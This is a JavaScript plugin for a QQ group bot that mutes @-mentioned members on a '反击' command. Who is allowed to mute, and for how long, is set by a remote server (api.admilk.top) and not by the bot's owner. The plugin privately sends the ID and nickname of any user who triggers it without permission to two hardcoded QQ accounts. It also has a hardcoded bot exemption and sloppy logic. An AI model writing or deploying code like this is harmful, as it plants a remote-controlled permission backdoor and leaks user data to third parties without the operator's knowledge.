import fetch from 'node-fetch';
import Redis from 'ioredis';
import fs from 'fs'
import path from 'path'
import cm from '../lib/common/CM.js'
import common from '../lib/common/common.js'
const redis = new Redis({
    port: 6379,
    host: '127.0.0.1',
    password: '',
    //wa
});

////////////////////////////////////////////////////////////////////
//                          _ooOoo_                               //
//                         o8888888o                              //
//                         88" . "88                              //
//                         (| ^_^ |)                              //
//                         O\  =  /O                              //
//                      ____/`---'\____                           //
//                    .'  \\|     |//  `.                         //
//                   /  \\|||  :  |||//  \                        //
//                  /  _||||| -:- |||||-  \                       //
//                  |   | \\\  -  /// |   |                       //
//                  | \_|  ''\---/''  |   |                       //
//                  \  .-\__  `-`  ___/-. /                       //
//                ___`. .'  /--.--\  `. . ___                     //
//              ."" '<  `.___\_<|>_/___.'  >'"".                  //
//            | | :  `- \`.;`\ _ /`;.`/ - ` : | |                 //
//            \  \ `-.   \_ __\ /__ _/   .-` /  /                 //
//      ========`-.____`-.___\_____/___.-`____.-'========         //
//                           `=---='                              //
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^        //
//         佛祖保佑       永无BUG     永不修改                  //
////////////////////////////////////////////////////////////////////



//
export class hitsomeone extends plugin {
    constructor() {
        super({
            name: '反击',
            dsc: '反击!!!!',
            event: 'message',
            priority: -999999999999999999999999999999999999999999999999999991,
            rule: [
                {
                    reg: /^#?反击$/,
                    fnc: 'hit',
                },
                {
                    reg: /^#开启反击$/,
                    fnc: 'enableHit',
                },
                {
                    reg: /^#关闭反击$/,
                    fnc: 'disableHit',
                },
            ],
        });
    }


    async hit(e) {
        const msg = ['无权限用户尝试开启反击! ', e.user_id, e.nickname]
        const msg2 = ['无权限用户尝试反击! ', e.user_id, e.nickname]
        const isHitEnabled = await redis.get('hitset') === 'true';
        if (Bot.uin === 3768387398) { return true }
        if (!isHitEnabled) {
            e.reply('反击未开启');
            return false; // 如果反击功能未开启，直接返回
        }

        const apiUrl = 'https://api.admilk.top/api.php';
        const response = await fetch(apiUrl);
        const data = await response.json();
        const { urltime, urlgl } = await getRandomTime();

        const totalSeconds = data.random ? urltime : data.time;


        // 确保数据类型匹配
        if (String(data.btqq) === String(e.user_id) || data.msqq.map(String).includes(String(e.user_id)) || e.isMaster & Bot.uin != 3768387398) {
            // 去除两端空格
            if (!data.msqq.map(String).includes(String(e.at).trim())) {
                await e.group.muteMember(e.at, totalSeconds);
                   await e.reply(`本次时间概率:${urlgl}`)

                return true;
            }
        } else {
            e.reply('6');
            common.relpyPrivate(1773798610, msg2)
            common.relpyPrivate(2173302144, msg2)
            return false;
        }
    }

    async enableHit(e) {
        const msg = ['无权限用户尝试开启反击！', e.user_id, e.nickname]
        const msg2 = ['无权限用户尝试反击！', e.user_id, e.nickname]
        if (!await cm.check(e.user_id) && !e.isMaster && Bot.uin != 3768387398) {
            logger.info('无权限用户尝试开启反击！:', e.user_id, e.nickname);
            common.relpyPrivate(1773798610, msg)
            common.relpyPrivate(2173302144, msg)
            e.reply('6');
            return false;
        }

        await redis.set('hitset', 'true');
        await e.reply('已开启反击！');
        return false;
    }

    async disableHit(e) {
        const msg = ['无权限用户尝试开启反击！', e.user_id, e.nickname]
        const msg2 = ['无权限用户尝试反击！', e.user_id, e.nickname]
        if (!await cm.check(e.user_id) && !e.isMaster && Bot.uin != 3768387398) {
            logger.info('无权限用户尝试开启反击！:', e.user_id, e.nickname);
            common.relpyPrivate(1773798610, msg)
            common.relpyPrivate(2173302144, msg)
            e.reply('6');
            return false;
        }


        await redis.set('hitset', 'false');
        await e.reply('已关闭反击！');
        return false;
    }
}

async function getRandomTime() {
    //try {
        const apiUrl = 'https://api.admilk.top/math.php';
        const response = await fetch(apiUrl);

        if (response.ok) {
            const data = await response.json();
            let urltime = data.time
            let urlgl = data.gl
            return { urltime, urlgl }
        } /*else {
    // 如果请求失败，返回默认的随机时间，也可以根据需要进行处理
    let urltime = Math.floor(Math.random() * 90 + 10);
    let urlgl = '0'
    return { urltime, urlgl }
}
    } catch (error) {
        // 捕获异常，返回默认的随机时间
        console.error('Error fetching random time:', error);
        return Math.floor(Math.random() * 90 + 10);
    }*/
}


